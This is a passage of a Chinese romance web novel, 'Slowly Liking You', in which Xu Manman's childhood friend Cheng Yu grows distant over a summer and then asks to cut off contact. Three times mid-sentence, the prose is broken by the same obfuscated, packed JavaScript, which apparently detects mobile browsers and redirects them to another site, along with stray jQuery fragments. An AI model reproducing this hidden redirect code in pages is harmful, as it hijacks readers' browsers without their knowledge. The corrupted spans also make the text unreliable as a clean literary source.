《慢慢喜欢你》 1. 暑假 许曼曼的暑假开始得非常无聊。 ——大一暑假。 多么美妙的四字词语,充满了悠闲的、无所事事的、丝毫不需要上进的气息。没有学业压力,也不用考虑未来,人的一生中能有多少个这样的夏天。 可她回家待了一周之后,就开始觉得无聊了。 妈妈每天上班,只有她一个人在家,除了吃饭睡觉,就只有玩手机、玩电脑、玩游戏机,昼夜颠倒的,感觉都快长出电子脑袋了。 就这样浑浑噩噩到了周末,妈妈看不下去,催着她出去走走。 可是哪有地方可以去,外面热浪滚滚,她稍微逛了一圈,就果断进了商场吹冷气。 没想到在电影院遇到高中同学蒋欣妍,她正在这里兼职,给许曼曼的爆米花打了满满一桶。 “你和程喻一起来的?” 下午这会儿电影院人不多,两个人就聊了起来。 “没有。”许曼曼抓着爆米花吃,“他还没回来呢。” “还没放假?” “放了,但是好像有什么事,要过几天才能回来。” “什么事啊?” “他们学校那边的吧。”许曼曼说,“我也不太清楚。” “哦~” 没想到蒋欣妍露出一副了然的神情,一个哦字说得百转千回。 许曼曼有些莫名其妙:“怎么了?” “没什么,就是觉得有些伤感。”她摇了摇头,“感觉上大学之后,人都变了,以前再好的感情也都被冲淡了。你看,就连你和程喻这种发小,距离远了,也会有彼此不知道的事。” “什么啊。”许曼曼有些不服气,“才没有,我们关系还是很好的!” “是吗,你们以前跟连体婴似的,我就没见过你们不在一起的时候。” “什么连体婴,怎么让你说得这么瘆人啊!” 虽然义正词严地反驳了蒋欣妍,但是被她这么一说,许曼曼回想起来,突然觉得好像真有点不对劲。 过去的这个学期,自己和程喻之间的联系,的确是越来越少的。 刚上大学那会儿,两个人每天都会聊天,打电话或者发微信。他军训的时候野外拉练,觉都没得睡,也会趁着晚上能用手机的时候联系自己。 可是现在打开微信看一眼,两个人的聊天记录还停留在前天。 M.M:但是我觉得紫色的好一点! C.Y:嗯 不但频率少了,程喻的态度也有些淡淡的。有时她兴高采烈地分享点什么,不管是社团活动还是同学的趣事,他听是听着,反应总不是很热烈。 而且仔细想来,两个人自从开学就没见过,都快小半年了,这可是之前从没有过的。 毕竟两个人的妈妈是好朋友,又住在同一个街区,可以说许曼曼出生以来,身边就始终有程喻的身影。 幼儿园开始就没有分开过,一直到去年上了大学,一个华都一个西岭,天南海北的,这才人生中第一次有了分离。 可是十几年的感情,真的会因为距离就产生变化吗? 许曼曼不太相信。 * 因为想着这些,她到最后也没有看电影,在电影院里吃完爆米花就走了。 出来已经是傍晚了,温度总算是降下来一点,她慢慢散着步回家,走到家旁边的小公园的时候,只有几个小朋友在玩沙子,秋千那边没有人。 于是她走过去,一个人荡起了秋千。 她和程喻从小就在这里玩,她除了荡秋千别的都不喜欢,于是程喻就陪着她。她又霸道得很,总不肯让程喻荡,要让他在后面推她。 好像就这么推着推着,两个人就长大了。 去年出志愿那天,也是在这里荡秋千。 其实程喻的去处早就定了,他是星港去年的理科状元,一早就被清岚大学抢到手了。 或者说,在更早的时候,大家心里都清楚,他是肯定会去华都念大学的。所以问题只是许曼曼的去处。 她高考成绩还不错,比预计的要好,所以第一志愿也是报了华都的一所大学。 录取信息下午五点可以查询,她查完了出来,程喻已经在这里等着她了。 明明已经有结果,可是他没开口问,许曼曼也没主动说。还是老样子,她熟门熟路地坐到秋千上,程喻在后面帮她推。 就这么荡了一会儿,许曼曼终于觉得玩够了,于是告诉他。 “小鱼,我去不了华都啦!” “嗯。” 他的手没停,依然稳稳地托住她的后背。 许曼曼又一次飞到高处,声音也落在半空中。 “我要去西岭了!” “嗯。” “遗憾吗?以后没有我罩着你,你可怎么办呀程喻?” 当时他没回答。但是现在看来,没有她罩着,程喻好像过得挺好的。 于是一年后的夏天,荡秋千的人只剩自己一个,再没有人在后面帮她推了。 * 她一个人待到路灯亮起才回家。没想到回家却不只有妈妈,程喻妈妈也在,两个人看起来是要出门。 许曼曼打了招呼:“阿姨,你来啦?” “你怎么才回来?”妈妈告诉她,“晚饭自己解决吧,我们有饭局。” “没事,我不饿。” 许曼曼靠在沙发上,没精打采的。 “我不做饭你就不饿,做了也没见你少吃。” 妈妈对程喻妈妈吐槽:“看吧,真是个活祖宗,每天一顿饭都少不了她的。” “等小喻回来让他做。”程喻妈妈笑眯眯的,“他做饭曼曼吃得惯。” 说起这个,许曼曼倒是想起来了,探头过来。 “阿姨,程喻到底是因为什么事回不来啊?” “说是学校有个什么暑期项目,具体的我也没问。”程喻妈妈有些疑惑,“他没跟你说?” “说了,说了。”她又躺了回去,“我给忘了。” 其实真是说了的,她也是真的不记得了。当时是放假前夜,还剩最后一门就考完解放,她正高兴着呢,所以听到他说要晚回来,也只是短暂失落了一小会儿,很快就忘在脑后了。 当然,忘得是有点彻底了。 想着这个,她仰面躺在沙发上,然后就听到程喻妈妈问她。 “对了,曼曼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781271|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上大学也有一年了,没谈恋爱?” 她还没回答,妈妈在那边噗嗤一笑,倒是先替她答上了。 “看来是没有,每天连个电话都没有。” 许曼曼没话可说。事实上,她是有这个打算的。 西岭并不只有她一个人,还有她从初二就开始暗恋的学长陆景尧。要说她填志愿的时候没想到这个,那肯定是假话。 现在两个人都在西岭,她自然蠢蠢欲动,开学没多久就去了他学校一次。 回来激动地告诉程喻:“学长真的好帅,比高中时还帅了!而且他现在单身,我问过他了!你说这是不是天意?!” 程喻那边好像信号不好,沉默片刻才回话。 “是吧。” “嘿嘿,我觉得也是!”许曼曼美滋滋的,“说不定我有希望呢!” 不过她说归说,也并没有什么实际行动,再见面的时候已经是寒假了,出门买零食的时候偶然遇到,学长和一个朋友一起,买了好多烟花,要去海边放。 许曼曼也跟着去了,大晚上的在海边待了好久,吹着冷风,还差点被巡逻的警察逮到,但是很开心。 第二天她和程喻一起去庙会,一路上她都在说昨晚放烟花的事,还把拍的视频给程喻看。 他兴致不是很高,敷衍的看了眼。 “挺好的。” 许曼曼只顾着自我陶醉:“太浪漫了,要是他那个朋友不在就更好了。” 又问程喻:“你呢,在大学有没有合适的女生?” 她本来是打算取笑一下程喻的,没想到他竟然说了句。 “有吧。” “什么?”许曼曼惊呆了,“有?谁啊?你怎么都没和我说过?已经在一起了吗?” 但是她再怎么问,程喻也一个字都没说,到后来她开始怀疑这人只是随口胡扯。 可是现在,她突然又想起这件事来。 难道真是有的?那么程喻现在待在学校,会是和这个女生在一起吗? 她越想心里越不是滋味,于是干脆一个电话打了过去。 响了好一会儿才被接起来,有些嘈杂的背景音中,程喻问她。 “怎么了?” “没什么。”许曼曼问,“你在干什么?” “聚餐。” “哦。” 许曼曼抬头看了眼表,确实是吃饭的点。 “有事吗?” “没有,也没有。”她突然又有些不想问了,“就是想给你打个电话。” “嗯。” 他应了声,两个人突然就这么陷入沉默,这边很安静,那边能听得到说话的声音。 然后有人叫了程喻一声,许曼曼听不太清楚,不知道说了句什么,但是程喻没有回答。 她突然觉得特别没意思,于是说:“那你去吃吧,我挂了。” 她在程喻回答之前就挂掉了电话,把手机扔到一边,头埋进了抱枕里。 这时莫名想起蒋欣妍的话,难道上大学之后,距离远了,真的就会慢慢疏远了吗?可是这才一年呢。 真奇怪,她在此刻突然想起来,这是第一个没有和程喻待在一起的暑假。 2. 露营 又半个月过去,程喻才回来。 大上午的,许曼曼还在家大睡特睡,妈妈推门进来,一把拉开了窗帘。 阳光照进来,一下子把她弄醒了。 “妈!”许曼曼捂着眼睛大叫,“你干吗?我要睡觉!” “还睡呢,都几点了?”妈妈哼了声,“我刚在街上看到小喻了,人家早就起床了,哪像你?” 许曼曼拿开手,顿时有点懵。 “程喻回来了?” 妈妈比她还懵:“你不知道?” 她的确不知道。上次那个电话过后,也不知道怎么回事,两个人的关系好像更淡了,这中间只联系过两次,还都是许曼曼主动的。但当时他还没确定回来的时间,她也没再问,所以现在确实有点懵。 没想到这人竟然一声不吭就回来了,许曼曼有点郁闷,但还是起了床,早饭也不吃就去了他家。 家里没人,叔叔阿姨都上班去了。许曼曼轻车熟路地上了楼,径直推门进了程喻的房间。 他正在换衣服,背对着这边,上衣刚脱下来,闻声回头。 许曼曼没当回事,话也不说,直接走过去坐到了他的床上。 他动作顿了顿,把脱下来的衣服扔到一边,换上了一件黑色的T恤。 这时许曼曼都已经躺下了,正打着哈欠。 “你以后。”他说,语气有点重,“进来之前能不能先敲门?” 许曼曼愣住。 她一直都是这样的,在他家和他的房间来去自如,从来也没敲过门。以前也有过撞见他换衣服的时候,但他也没说过什么,怎么突然就不高兴了? 她想说句玩笑话,看到他的表情,还是没说出来。 最后只回了句:“哦。” 气氛突然就变得尴尬起来,她原本大剌剌躺着,这会儿也坐了起来,突然手脚都不知道该往哪里放似的。 “你回来怎么也不说一声。” “昨晚回来的,有点晚了。” “哦。”许曼曼问,“待到开学吗?你们也是一号开学吧?” 他正收拾衣服,闻言动作顿了顿。 “可能不会,要提前走。” “啊?”许曼曼有些惊讶,“为什么啊?又是学校那边的事吗?什么事啊?” 不等他回答又抱怨起来:“你现在怎么这么忙啊?大一就忙成这样,那等大四还能见到你人吗?” 他转身看她,没有说话。 许曼曼莫名其妙地回视,眨了眨眼睛。 “怎么了,问问都不行啊?不想说算了。” 他还真的没说,把衣服拿去了洗手间。 留许曼曼一个人坐在床上,陷入了迷茫。怎么会这样,眼前这个程喻分明很熟悉,可又让她觉得陌生得不行。 以前两个人待在一起,就算没有话说,也不会像现在这样,刚才他转过头,目不转睛看着自己的时候,她几乎觉得有些不自在。 还没思考出什么,程喻回来了。 许曼曼清了清嗓子,试图找个话题。 “那个,要去看电影吗?《今夜晴朗无云》快下映了,我还没看过呢。” “我看过了。” “什么?你看过了?” 许曼曼觉得自己今天一再被新信息冲击,有些反应不过来。程喻不喜欢看电影,总要许曼曼拖着他才肯去,而且这种爱情文艺片,他更是从来不看。 注意到她的眼神,程喻简单解释了下。 “跟同学一起。” “同学?男同学女同学?” “都有,聚餐完了一起去的。” “哦。”许曼曼点点头,“那好吧。” 这下她也无话可说了,于是起身。 “那我走了。” “嗯。” 程喻没有送她,要关门的时候许曼曼看了眼,他坐在书桌前,甚至没有回头。 所以就是这样了吗?十几年的友谊,到头来其实根本脆弱、单薄。 回家的路上,许曼曼脚步沉重。 以前的程喻,就算看过了,也一定会再陪她去的。他的生活其实很单纯,几乎全都围着许曼曼转。像这种家里没人的时候,她一定会在他家待到晚上,霸占着他的位置,让他给自己做饭,端茶倒水。 可是怎么就变了,而且这变化来得太迅速,让她有些猝不及防。 路过小公园,现在这么大太阳,连玩沙子的小孩都不在。她走过去坐到了秋千上,然后就因为座位太烫,一下子跳了起来。 四下无人,喊疼都有些没劲头。她站在这正午的阳光下,终于像鬼怪无处遁形一样,悲哀地意识到,除了程喻,自己其实根本没有朋友。 * 她也跑去做兼职了,在离家两站路的一家麦当劳,每天炸鸡、炸薯条,偶尔在甜品站打麦旋风。 店里人手不够,她排班时间很多,但忙忙碌碌也挺好的。忙起来就没有烦心事,也不用在家听妈妈的唠叨,毕竟她可没有什么科研要搞。 早上偶尔会遇到程喻,上早班的时候刚好他出来晨跑,她打个招呼也就急匆匆走了,心里还隐隐有些得意,觉得自己也算是个大忙人了。 但他一次也没来店里看过自己,真是没劲。要是换了许曼曼,一定会去他打工的店里当大爷,好好逗逗他的。 没想到先来的是学长。那天刚好轮到许曼曼在甜品站,听到要麦旋风的声音有点耳熟,她一抬头,两个人对视,都笑了。 “你在这里兼职?”学长打量了一下,“穿这个还挺合适的。” “嘿嘿。”许曼曼有些得意地抻了抻围裙,又说,“等着,我给你多加料。” 打了一份满满当当的递过去,他作势接不住逗了她一下,然后递给了旁边的朋友。 这就是上次一起放烟花的那个人,许曼曼记得他是叫韦一然,于是也打了招呼。 “你们出来干吗呢?”她问,“这么热的天逛街啊?” “买点去露营的东西。” “露营?” “对。”学长问她,“你要一起吗?” “啊,我可以吗?”许曼曼眼睛顿时亮了,“都有谁?” “还有几个朋友,男生女生都有,这周五去雁回山。”学长说,“两天一夜,你有没有时间?” 什么叫天意,这就叫天意。许曼曼已经连上半个多月的班了,之前刚定好调班休息,就是周五周六两天。 于是立马答应下来:“有时间,我也去!” 反正休息也没事可做,程喻又不和自己玩,能去大自然呼吸新鲜空气,还能和学长多多相处,简直太棒了! 她带着愉快的心情下班回家,没想到程喻竟然也在。 看到她愣在那里,他没说话,妈妈倒是解释了一下。 “电视突然没信号了,我让小喻来看看。” “哦。” 许曼曼没说什么,两个人现在是一种莫名其妙类似于冷战的状态,她装作高贵冷艳的样子点了点头,就上楼洗澡去了。 洗完澡下来,没想到他还没走,正坐在沙发上看电视,看来电视是修好了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781272|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>妈妈正好端着西瓜从厨房出来:“你洗个澡要多久?来,吃西瓜了。” 和程喻坐在一起吃西瓜的时候,许曼曼恍惚觉得回到了从前,他们没有长大,关系也没有变淡,每天总是在一起,连体婴一样。 这种很久违了的安静平和,让她忘了自己此刻的人设,隔着一段距离,很认真往垃圾桶里吐西瓜籽。 精准命中,一颗也没有漏出去。 “哈哈。”她得意极了,“我好厉害。” 她从小就喜欢这样,每次吃西瓜的时候都把自己当豌豆射手,往垃圾桶里吐西瓜籽。 以前程喻也会和她一起,长大后就没有了,变成了一个斯斯文文的大人。 斯文人今天心情好像还可以,“嗯”了一声,算是回应。 许曼曼又吃了一大口,继续自己的西瓜籽大战。 正认真数着数,程喻又主动开口。 “阿姨说你这周能休息两天。” “嗯。” 许曼曼吐出最后一颗,突然想起什么,有些兴奋地转头。 “对了,我跟学长约好了,休息那两天要去露营!雁回山,两天一夜,你要不要一起?” 不知道是不是她的错觉,客厅的灯光下,程喻的神色又一点点冷了下来。 他本来正盯着她,这会儿转开了视线,声音也冷冷的。 “没时间。” * 出发之前,妈妈帮着许曼曼收拾行李,又反复叮嘱她注意安全。 “哎呀,没事的。”许曼曼满不在乎,把手一挥,“我和学长他们一起,一大堆人呢,熊吃不了我。” “就是你这个样子我才不放心。”妈妈叹了口气,“要是小喻和你一起去就好了,他在我就放心了。” “我都是大人了,没有程喻也一点事没有,你能不能别瞎操心了。” 说着,她又赌气似的补上一句。 “而且人家说了没时间啊。” “怎么就没时间了?”妈妈说,“那天他问我你哪天休息,我还以为你们要一起出去玩呢。回家这么多天,感觉你们都没怎么聚到一起。” “我们都长大了,都有各自的事了,哪还能像小时候那样?” “哎,是吗。”妈妈不知道怎么,看起来有些失落,“还以为你们会一直在一起呢。” “怎么一直在一起啊?”许曼曼倒笑了,“又不是家人。” 妈妈好像没听到似的,又说:“你还记不记得,你小时候说要嫁给程喻——” “哎呀,妈!”许曼曼无语,“这都什么年月的事了,不要再说了!” “那时候也是说起来长大之后各自成家,就不能在一起了。”妈妈自顾自说下去,“结果你说,这有什么难的,你嫁给程喻不就好了,大家都笑得不行。” “别说了别说了!”许曼曼捂起耳朵,“什么陈芝麻烂谷子的事都拿出来说,小时候的话怎么能当真?” “我倒是想当真呢,要是有个小喻这样的女婿,那该多好。人家事事不让家长操心,那么优秀,性格又好。” 妈妈白了她一眼,很是嫌弃。 “哪像你,一天到晚没个正形。” “别的不说,我现在性格可比他好多了。” 许曼曼嘟囔了句,把背包拉链拉了起来。 “对了。”妈妈想起什么,“小喻马上过生日了,你给他准备礼物了吗?” “哎呀,这个你就放心吧,我可没忘。” 许曼曼再次把手一挥。 “已经准备好了!” 3. 生日 露营果然很开心。山里不但空气好,气温也比外面低,尤其在溪边的时候,几乎有种凉爽的感觉。 其实许曼曼小时候也来过雁回山,那时爸爸还没去世,两家人也是夏天一起来露营。 她和程喻一起在溪边玩水,用网兜抓小鱼。 许曼曼给小鱼起名字:“这条是你,所以就叫小鱼,这条是我,叫曼曼。” 程喻问:“你也是小鱼吗?” “哼,只有两条啊,没办法。”许曼曼说,“陪你好了。” 晚上两个人也不睡觉,许曼曼嚷着要看星星,大人陪着她等了一会儿,都困得不行回帐篷睡了,只有程喻还在陪着她。 “我在等流星呢。”许曼曼告诉他,“听说看到流星可以许愿,会很灵的。” “那你要许什么愿?” “许什么愿啊……”许曼曼仰着脑袋,“要是能一直在一起就好了。” 但是后来她睡着了,醒来也就把这件事忘了,不知道那天晚上到底有没有流星。 今天晚上的星星也很好,大家做了篝火,又一起玩了游戏,一直到很晚才睡。 其实很累,但许曼曼在帐篷里躺了一会儿,却怎么也睡不着。 于是出了帐篷看星星,自己一个人坐在树边,试图等到一颗流星。 没想到今晚很幸运,竟然没一会儿就等到了。只是太快,流星飞速划过天边,她都没来得及许愿。 看了眼时间,已经一点多了,但她还是给程喻打了视频过去。 等了一会儿才接起来,他像是已经睡了,靠在床头,有些睡眼惺忪的样子。 “怎么了?” “程喻,我看到流星了!” 她尽量压低声音,但还是难掩兴奋,眉飞色舞的。 程喻看着她,好像还没睡醒,也不说话。 “就在刚才,一下子就划过去了。”她说,“但是没来得及许愿,太快了。” “嗯。” “程喻你就后悔没来吧。”她一脸得意,“哎呀,虽然没来得及许愿,但也很幸运了,只可惜呀,某个人就没有这种幸运了。” 她一高兴话就很多,又想起白天看到的一种蝴蝶,绘声绘色地给程喻描述有多么好看,蓝色的,飞起来翅膀还有闪光。 程喻开始还默不作声地听着,突然叫她。 “曼曼。” “啊?怎么了?” 他像是要说什么,透过镜头看着她。可能是床头灯光的原因,打在脸上是一种暖光,映照出他的表情,是一种久违了的温柔。 许曼曼不由自主地屏住了呼吸。 可是他还没开口,后面突然传来声音,也是叫她的名字。 “曼曼?” 是学长。 许曼曼回头,看到他从帐篷那边走了过来。 “你还不睡?” “嗯,不困。” 这边手机里,程喻终于说了话。 “你们聊吧。” 她再一看,通讯已经断开了。 * 学长走过来,在她身边坐下,也跟着看了眼。 “聊天呢?” “嗯。”许曼曼收起手机,“朋友。” “程喻?” 许曼曼惊讶地看着他:“你认识他?” “你们不是总待在一起。”学长笑了,“而且,他还挺有名的吧。” “他?有名?”许曼曼大为迷惑,“哪里有名了?” 没想到学长一副理所当然的样子,摊了摊手。 “学习成绩好,个高,长得也出众,怎么不有名,我们年级自然也听说过。” “啊?”许曼曼皱着眉头,试图找到点记忆来佐证,“有吗?” 学习成绩好是肯定的,程喻从小就一路第一过来的,春夏秋冬,永远在校门外的红榜上挂着。 但是他小时候个子矮,一直到初中都还没怎么长个,和她差不多高。到了高中才突然开始长高,高二的时候就已经比她高很多了。 至于长相,说实话,两个人从小就在一起,许曼曼看他跟看自己似的,完全没感觉。高中的时候确实有人托她递过情书,还有人想要他的联系方式,当时她的惊讶程度,不亚于现在学长说程喻很有名。 所以,程喻竟然是这种风云人物吗? 她想来想去也想不通,于是干脆不想了。 又转过头,真心实意地说:“可是学长,我还是觉得你最帅。” 学长笑了:“还挺会拍马屁。” “是真的!你那时多有名啊。”她说,“我们年级的女生也有好多喜欢你的,当时知道你谈恋爱的时候,有好多人特别伤心呢!” ——也包括我。 既然话说到这里了,许曼曼犹豫了下,还是问了。 “那个,学长,你和冯湘南学姐,是怎么在一起的啊?” 这个问题,可以说是当时学校很多女生都想知道的。毕竟,公认的一中校草,竟然和一个默默无闻,可以说是很普通的女生在一起了。 突然被问到这个,学长有些惊讶,但看起来并没有不高兴。 他歪着头,笑了。 “是我追的她。” “啊?” 许曼曼非常没有礼貌地叫出了声,随即自己把嘴捂上了。 当时两个人在一起的时候很轰动,但一直传的是女追男,不少人说得有模有样的,说冯湘南从高一就开始倒追,高三终于如愿。 “她很有趣。”学长说,脸上带着笑意,“我喜欢有趣的人。” 许曼曼立刻开始自我评估,看自己是不是个有趣的人。 好像从没有人夸过自己有趣,倒是程喻,经常说自己无聊。 他的口头禅好像就是无聊,每次许曼曼逗他,或者一本正经地骗他,他都会信,最后发现自己被骗,就会说一句“无聊”。 她想了会儿,突然发现自己思绪有些跑偏,但是看一眼学长,他看着不远处的溪水,似乎也正陷入回忆之中。 许曼曼想了想,问他:“学长,你觉得人长大了,距离远了,就一定会疏远吗?” 学长收回视线,摇了摇头。 “真正亲密的人,距离再远也不会疏远。除非——” 他顿了顿,却没有说下去。 “除非什么?” “除非自己觉得不应该再亲密下去了。” 他转头看她,微微一笑。 “有时候,在一起反而更痛苦。” * 露营回去,许曼曼又回归到了自己的兼职日常中。 假期没剩多久,她也只要再做两周就结束了。不过程喻果然像之前说的那样,要提前走,只留在家里过完生日,第二天就要回学校。 他生日那天许曼曼是中班,六点钟下班,急匆匆地赶去饭店汇合。 虽然他们都长大了,但还是像以前一样,两家人聚在一起给他过生日,去的也是从小就去的饭店。 吹完蜡烛分蛋糕的时候,妈妈问她:“曼曼,你准备的礼物呢?” 许曼曼叉蛋糕的动作停下,尴尬一笑。 “我忘拿了。” 她今天睡过头了,去上班的时候匆匆忙忙的,完全忘了礼物这回事。 但还是转过头去,给程喻保证道:“回去就给你!” 回去的时候是分开走的,许曼曼被便利店门口的娃娃机绊住了脚步,于是大人们先回去了,程喻留下来陪她抓娃娃。 她是人菜瘾大,换的几十个币都用完了,还是一个也抓不上来。 最后还是程喻出马,仅用了三个币就把她想要的抓了上来。 粉色的兔子很大,抱起来很舒服,许曼曼心满意足地抱着往回走。 “程喻。” 两个人就这么默不作声地走了一会儿,她开了口。 “你今天心情好像不错,是因为过生日吗?” 程喻瞥了她一眼:“怎么?” “也没什么,我就是觉得你最近心情都不怎么样。”许曼曼偷偷观察着他的表情,“上大学是挺忙的,尤其是你们那种大学,但你也不要太累了,有什么累的事可以跟我说,我可能帮不上什么忙,但听你说说还是可以的。” 他难得的笑了,声音也很温柔。 “好。” 于是许曼曼也笑了,把娃娃递给他。 “那,娃娃给你吧。” 他停下脚步,有些不明所以地接过去。 “这就是,礼物?” “当然不是了!”许曼曼无语,“就是让你帮我拿着,有点沉!礼物我回去给你!” 于是她两手空空,寿星一路帮她抱着娃娃,走了回去。 走到小公园的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781273|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,程喻停了下来。 “我就不进去了,在这里等你吧。” “也行。”许曼曼指了指秋千,“你去那里等着,闭上眼睛不准看,我很快回来!” 都已经跑出几步了,又转身强调。 “不准看哦,闭上眼睛,我说睁眼你才能睁!” 结果回来的时候,程喻抱着那只兔子坐在秋千上,真的很听话地闭着眼睛在等她。 许曼曼有些想笑,站在他面前。 “好了,睁眼吧。” 程喻睁开眼睛,视线从她的脸转移到她手上的包装盒,有点发愣。 “怎么样,很有诚意吧?”许曼曼很是得意,“我这些天打工的钱,再加上小金库,一毛没剩全搭进去了,就为了给你买礼物!” 其实她打工的钱还没付,是她找店长磨了很久,预支出来的。 没办法,这耳机实在太贵,就这样她也是勉勉强强才凑够,连储蓄罐小猪都砸了。 程喻不说话,视线又转回到她脸上,看不出高兴,也看不出不高兴。 不对,谁收到礼物会不高兴呢? 许曼曼从他手里接过兔子,把耳机递给了他。 “你戴上试试,我在白色和银色之间纠结了很久,还是觉得银色好,更衬你的气质。” 她抱着兔子,自我陶醉了起来。 “哎,我这么好的朋友去哪里找,程喻你就珍惜吧!大半个暑假都在炸薯条,就为了给你买礼物!省得你老说我总送没有诚意的东西。” 程喻低头看着耳机,没有说话。 “怎么啦?”许曼曼提醒他,“戴上给我看看呀,你怎么不说话,高兴傻啦?” “曼曼,我们绝交吧。” 他低着头,终于开了口。 “???程喻你还是人吗?就为了不给我回礼,至于吗?” 她翻了个白眼。 “我送你礼物心甘情愿的好吧,不要你给我回礼。再说了,这么多年你送我的早就比这——” 程喻抬眼看她,表情认真。 “我们绝交吧。” 这下许曼曼彻底愣住,看着他,半晌才回话。 “什么意思?什么叫绝交?” 他不回答,许曼曼来了气。 “程喻你什么意思?明明今天都挺好的,高高兴兴的,怎么突然就……” 她深呼吸了两下,试图平复心情。 “你最近都是这样,心情时好时坏的,我都不知道该怎么跟你说话,一句话可能你就不高兴了。你也不想跟我一起玩,我去找你你总是很冷淡。我以为你是太累了,现在你告诉我要绝交?你什么意思?我们以后都不要再见面了吗?” “嗯。”程喻看着她,“不要见面,也不要联系了。” “这怎么可能——” “没什么不可能的。”他说,表情看上去甚至有些冷酷,“曼曼,任何事只要想做就能做到,说了不联系,就可以不再联系。” 许曼曼只觉得手心的温度冷下来,终于意识到他是在说真的。 “那为什么?你给我一个理由,我哪里惹你不高兴了,你说。” “不是你。”他说,“是我的原因。我不想跟你联系了,我觉得长大了应该有自己的空间,小时候的玩伴没必要强行绑在一起。” 他直视着许曼曼的眼睛,一字一句地说。 “是因为我,我不想再联系了,可以吗?” 许曼曼其实没怎么在听,她突然觉得眼前这个人特别陌生,好像不是自己认识的那个程喻。 蒋欣妍还有学长的话此刻浮现在脑海里,也许是对的,只是她不想承认而已。 长大了就是这样吧,距离远了人心自然就远了,他们再不会有小时候的亲密无间。 程喻其实是个很耀眼的人,只是自己没意识到,或者,只是他之前没在自己面前显露光芒而已。 现在,大家只是回到各自的位置,而他们的位置之间,其实没有交集。 她知道自己哭了,可还是努力睁大眼睛,不让眼泪落下来。 “好,可以。” 她说,声音却意外的很冷静。 “程喻,那我们就绝交吧,我不会再来烦你了。” 说完没再看他,转身离开了小公园。 这个他们从小一起长大,一起玩耍过的小公园。 4. 大雨 这个暑假过得真是糟透了,许曼曼回了学校也还是没精打采的。 感觉像做了一场梦,而且还是噩梦。 她和程喻绝交的事,目前还仅限于两人之间,没让家长知道,毕竟他第二天就走了。 这之后两人真的再没有联系过,他就像水流汇入大海,从她的生活里悄无声息地消失了。 虽然许曼曼并没有删除他的联系方式,事实上她到如今还在反复回想这件事,搞不懂到底是为什么。 每次手机响了,不管是电话还是微信,她都会觉得是程喻,好像接起来,他就会在电话那头,说当时只是开玩笑,或者是因为参加了真心话大冒险。 好像他会语气轻松地告诉自己,他们还是好朋友。 “你不会真信了吧?你看,这次我也骗了你了,我们扯平了。” 可是没有,他真的一次也没再联系过自己。 她知道程喻是认真的,而且他认真说出来的话,是绝对不会变的。 就像小时候,如果他说要做完作业才能玩,那么不管自己在旁边怎么逗他,他都不为所动。 他说要晨跑,就每天风雨无阻,一次也不会落下。 他说要长高,就坚持喝牛奶,一直喝到身高长到了185,就算他其实很讨厌喝牛奶,就算长高其实和牛奶也没太大关系。 他向来说到做到,看来说要绝交也是真的,没有后路了。 看出她情绪低落,舍友林乔在旁边问。 “你怎么了?开学就这么难受?大一不是来了几个高质量的帅哥嘛。” “不是因为这个。” 许曼曼想了想,问她:“你觉得,如果朋友突然要和你绝交,会是因为什么啊?” “绝交?”林乔一脸无语,“你多大了?幼不幼稚啊?” “哎呀你别管,你就说为什么!” “能因为什么,不然就是你做了什么错事,触及到了人家的底线,不然就是——”她话说到一半,问了句,“男生女生啊?” “这有什么关系?” “当然有关系了,情况不同,要分别看待。” “男生。” “哦。”她一脸了然,“那可能是对方有喜欢的人了,要和你保持距离。” 许曼曼愣住,脑海中浮现出一个面目模糊的女生,和程喻站在一起的样子。 “可是。”她咬了咬嘴唇,“至于吗?” “当然至于,有的人就是很在乎。”林乔拍拍她肩膀,安慰道,“没事,这种一般长久不了。而且为了女朋友就要绝交的人,有什么联系的必要?不联系挺好的。” 许曼曼从来没设想过这个角度。 会是因为这个吗?她不觉得程喻是那种有了女朋友就要和她绝交的人。可问题是,她甚至想象不出程喻有女朋友的样子。 两个人从小待在一起,程喻在她看来根本就是一个无性别的生命体,只作为“程喻”而存在。 这样的他,怎么会有女朋友呢?有的话,又会是谁,长什么样子,性格是什么样的呢? 这么想来,才发现自己对程喻的了解好像根本不多。只知道他不吃香菜,讨厌下雨天,早上睡觉起来会有一绺头发压不下去,可是他会喜欢什么样的女生,他谈恋爱会是什么样子,自己根本一无所知。 程喻似乎也从没说过这方面的事,每次都是自己在说个不停,说自己的暗恋心事,说学长最近怎么样了,自己又和他说了什么话。 程喻只是听着,也不太发表意见。 可是自己也从来没问过关于他的事,上大学之后就更是如此了。 她突然觉察出一种从未有过的后悔心情,程喻会是因为这个吗,因为她根本就不在乎他,只顾着自己,是个这么自私的人。 可是他为什么不说,她明明可以改的啊。 * 开学之后时间其实过得飞快,马上又要放国庆节假了。 